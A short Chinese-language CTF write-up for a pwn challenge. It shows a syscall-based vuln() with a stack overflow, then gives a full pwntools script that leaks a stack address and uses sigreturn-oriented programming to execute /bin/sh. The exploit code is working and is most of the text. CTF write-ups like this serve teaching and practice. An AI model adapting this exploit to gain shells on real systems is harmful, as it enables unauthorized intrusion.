完整包
直接看vuln
1 2 3 4 5 6 7 8
| signed __int64 vuln() { signed __int64 v0; char buf[16];
v0 = sys_read(0, buf, 0x400uLL); return sys_write(1u, buf, 0x30uLL); }
|
发现直接调用了Linux
的系统调用,且有明显溢出
但是我们需要获得栈地址和偏移量,以传送/bin/sh\x00
字符串
动态调试可以发现栈地址位于buf
后0x20
的位置
之后可以构造SROP
的payload
总exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
sl=lambda x:io.sendline(x) sd=lambda x:io.send(x) sa=lambda x,y:io.sendafter(x,y) sla=lambda x,y:io.sendlineafter(x,y) rc=lambda x:io.recv(x) rl=lambda :io.recvline() ru=lambda x:io.recvuntil(x) ita=lambda :io.interactive() slc=lambda :asm(shellcraft.sh()) uu64=lambda x:u64(x.ljust(8,b'\0')) uu32=lambda x:u32(x.ljust(4,b'\0')) def gdba(x=''): if type(io)==pwnlib.tubes.remote.remote: return elif type(io)==pwnlib.tubes.process.process: gdb.attach(io,x) pause()
io = process('./pwn')
read_write=0x4004f1 sig_ret=0x4004da sys_call=0x400501
pay=flat([b'/bin/sh\0',b'a'*0x8,read_write]) sd(pay) gdba()
rc(0x20) stack_add=uu64(rc(8)) pause() sh_add=stack_add-0x118 print(sh_add) rc(8)
fr=SigreturnFrame() fr.rax=constants.SYS_execve fr.rdi=sh_add fr.rsi=0 fr.rdx=0 fr.rip=sys_call
pay2=flat([b'a'*0x10,sig_ret,sys_call]) pay2+=bytes(fr) sd(pay2) ita()
|
要注意它完全不管rbp
旧址的,所以不要构建它
并且注意,0x118
偏移量随libc版本不同而不同,在另一版本中为0x128